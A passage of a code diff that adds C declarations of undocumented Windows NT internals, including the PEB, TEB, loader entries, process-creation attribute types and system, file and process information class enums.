HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PWCHAR Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG_PTR EnvironmentSize; + ULONG_PTR EnvironmentVersion; + PVOID PackageDependencyData; + ULONG ProcessGroupId; + ULONG LoaderThreads; + +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, * PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct __CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + PCHAR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + PACTIVATION_CONTEXT ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef struct _TEB { + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + LONG ExceptionCode; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; + UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; + ULONG TxFsContext; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; +#else + ACTIVATION_CONTEXT_STACK ActivationContextStack; + UCHAR SpareBytes1[24]; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + PSIZE_T Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + PSIZE_T glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG HardErrorMode; +#else + ULONG HardErrorsAreDisabled; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PVOID Instrumentation[14]; + PVOID SubProcessTag; + PVOID EtwLocalData; +#else + PVOID Instrumentation[16]; +#endif + PVOID WinSockData; + ULONG GdiBatchCount; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + BOOLEAN SpareBool0; + BOOLEAN SpareBool1; + BOOLEAN SpareBool2; +#else + BOOLEAN InDbgPrint; + BOOLEAN FreeStackOnTermination; + BOOLEAN HasFiberData; +#endif + UCHAR IdealProcessor; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG GuaranteedStackBytes; +#else + ULONG Spare3; +#endif + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR ThreadPoolData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + ULONG_PTR SparePointer1; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR SoftPatchPtr2; +#else + Wx86ThreadState Wx86Thread; +#endif + PVOID* TlsExpansionSlots; +#if defined(_WIN64) && !defined(EXPLICIT_32BIT) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; +#if (NTDDI_VERSION >= NTDDI_WS03) + PVOID FlsData; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID PreferredLangauges; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + union + { + struct + { + USHORT SpareCrossTebFlags : 16; + }; + USHORT CrossTebFlags; + }; + union + { + struct + { + USHORT DbgSafeThunkCall : 1; + USHORT DbgInDebugPrint : 1; + USHORT DbgHasFiberData : 1; + USHORT DbgSkipThreadAttach : 1; + USHORT DbgWerInShipAssertCode : 1; + USHORT DbgIssuedInitialBp : 1; + USHORT DbgClonedThread : 1; + USHORT SpareSameTebBits : 9; + }; + USHORT SameTebFlags; + }; + PVOID TxnScopeEntercallback; + PVOID TxnScopeExitCAllback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + ULONG64 LastSwitchTime; + ULONG64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +#else + BOOLEAN SafeThunkCall; + BOOLEAN BooleanSpare[3]; +#endif +} TEB, * PTEB; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + + +typedef struct _INITIAL_TEB { + PVOID StackBase; + PVOID StackLimit; + PVOID StackCommit; + PVOID StackCommitMax; + PVOID StackReserved; +} INITIAL_TEB, * PINITIAL_TEB; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + + + + +typedef enum _PS_CREATE_STATE +{ + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, + PsCreateSuccess, + PsCreateMaximumStates + +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO +{ + SIZE_T Size; + PS_CREATE_STATE State; + union + { + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + } s1; + } u1; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + struct + { + HANDLE FileHandle; + } FailSection; + + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + struct + { + HANDLE IFEOKey; + } ExeName; + + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + } s2; + } u2; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; + +} PS_CREATE_INFO, * PPS_CREATE_INFO; + + + +typedef struct _PS_ATTRIBUTE +{ + ULONG_PTR Attribute; + SIZE_T Size; + union + { + ULONG_PTR Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; + +} PS_ATTRIBUTE, * PPS_ATTRIBUTE; + + + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[3]; + +} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; + + +typedef NTSTATUS(NTAPI* PUSER_THREAD_START_ROUTINE)( + _In_ PVOID ThreadParameter +); + +typedef VOID(NTAPI* PPS_APC_ROUTINE) ( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 // Attribute may be used with thread creation +#define PS_ATTRIBUTE_INPUT 0x00020000 // Attribute is input only +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // Attribute may be "accumulated", e.g. bitmasks, counters, etc. + +typedef enum _PS_ATTRIBUTE_NUM +{ + PsAttributeParentProcess, // in HANDLE + PsAttributeDebugPort, // in HANDLE + PsAttributeToken, // in HANDLE + PsAttributeClientId, // out PCLIENT_ID + PsAttributeTebAddress, // out PTEB + PsAttributeImageName, // in PWSTR + PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION + PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE + PsAttributePriorityClass, // in UCHAR + PsAttributeErrorMode, // in ULONG + PsAttributeStdHandleInfo, // in PPS_STD_HANDLE_INFO + PsAttributeHandleList, // in PHANDLE + PsAttributeGroupAffinity, // in PGROUP_AFFINITY + PsAttributePreferredNode, // in PUSHORT + PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER + PsAttributeUmsThread, // see MSDN UpdateProceThreadAttributeList (CreateProcessW) - in PUMS_CREATE_THREAD_ATTRIBUTES + PsAttributeMitigationOptions, // in UCHAR + PsAttributeProtectionLevel, // in ULONG + PsAttributeSecureProcess, // since THRESHOLD (Virtual Secure Mode, Device Guard) + PsAttributeJobList, + PsAttributeChildProcessPolicy, // since THRESHOLD2 + PsAttributeAllApplicationPackagesPolicy, // since REDSTONE + PsAttributeWin32kFilter, + PsAttributeSafeOpenPromptOriginClaim, + PsAttributeBnoIsolation, + PsAttributeDesktopAppPolicy, + PsAttributeMax +} PS_ATTRIBUTE_NUM; + + +#define PsAttributeValue(Number, Thread, Input, Additive) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PROTECTION_LEVEL \ + PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_UMS_THREAD \ + PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_SECURE_PROCESS \ + PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_JOB_LIST \ + PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY \ + PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY \ + PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_WIN32K_FILTER \ + PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \ + PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_BNO_ISOLATION \ + PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_DESKTOP_APP_POLICY \ + PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE) + + + + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + + + + + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformation = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + MaxSystemInfoClass = 82 + +} SYSTEM_INFORMATION_CLASS; + + +#define PS_REQUEST_BREAKAWAY 1 +#define PS_NO_DEBUG_INHERIT 2 +#define PS_INHERIT_HANDLES 4 +#define PS_LARGE_PAGES 8 +#define PS_ALL_FLAGS (PS_REQUEST_BREAKAWAY | PS_NO_DEBUG_INHERIT | PS_INHERIT_HANDLES | PS_LARGE_PAGES) + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + + ULONG_PTR Information; + +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +#ifndef PIO_APC_ROUTINE_DEFINED +typedef +VOID +(NTAPI* PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); +#define PIO_APC_ROUTINE_DEFINED +#endif // PIO_APC_ROUTINE_DEFINED + + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; + +#ifndef FILE_SUPERSEDE +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 +#endif + +// Define the create/open option flags +#ifndef FILE_DIRECTORY_FILE +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 +#endif // FILE_DIRECTORY_FILE + +typedef LONG KPRIORITY; + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + +} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION; + + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, // 2 + FileBothDirectoryInformation, // 3 + FileBasicInformation, // 4 wdm + FileStandardInformation, // 5 wdm + FileInternalInformation, // 6 + FileEaInformation, // 7 + FileAccessInformation, // 8 + FileNameInformation, // 9 + FileRenameInformation, // 10 + FileLinkInformation, // 11 + FileNamesInformation, // 12 + FileDispositionInformation, // 13 + FilePositionInformation, // 14 wdm + FileFullEaInformation, // 15 + FileModeInformation, // 16 + FileAlignmentInformation, // 17 + FileAllInformation, // 18 + FileAllocationInformation, // 19 + FileEndOfFileInformation, // 20 wdm + FileAlternateNameInformation, // 21 + FileStreamInformation, // 22 + FilePipeInformation, // 23 + FilePipeLocalInformation, // 24 + FilePipeRemoteInformation, // 25 + FileMailslotQueryInformation, // 26 + FileMailslotSetInformation, // 27 + FileCompressionInformation, // 28 + FileObjectIdInformation, // 29 + FileCompletionInformation, // 30 + FileMoveClusterInformation, // 31 + FileQuotaInformation, // 32 + FileReparsePointInformation, // 33 + FileNetworkOpenInformation, // 34 + FileAttributeTagInformation, // 35 + FileTrackingInformation, // 36 + FileIdBothDirectoryInformation, // 37 + FileIdFullDirectoryInformation, // 38 + FileValidDataLengthInformation, // 39 + FileShortNameInformation, // 40 + FileIoCompletionNotificationInformation, // 41 + FileIoStatusBlockRangeInformation, // 42 + FileIoPriorityHintInformation, // 43 + FileSfioReserveInformation, // 44 + FileSfioVolumeInformation, // 45 + FileHardLinkInformation, // 46 + FileProcessIdsUsingFileInformation, // 47 + FileMaximumInformation // 48 +} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + ULONG ThreadState; + ULONG WaitReason; +} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; + ULONG HardFaultCount; + BYTE Reserved1[36]; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + PVOID InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + SYSTEM_THREAD_INFORMATION Threads[1]; +} 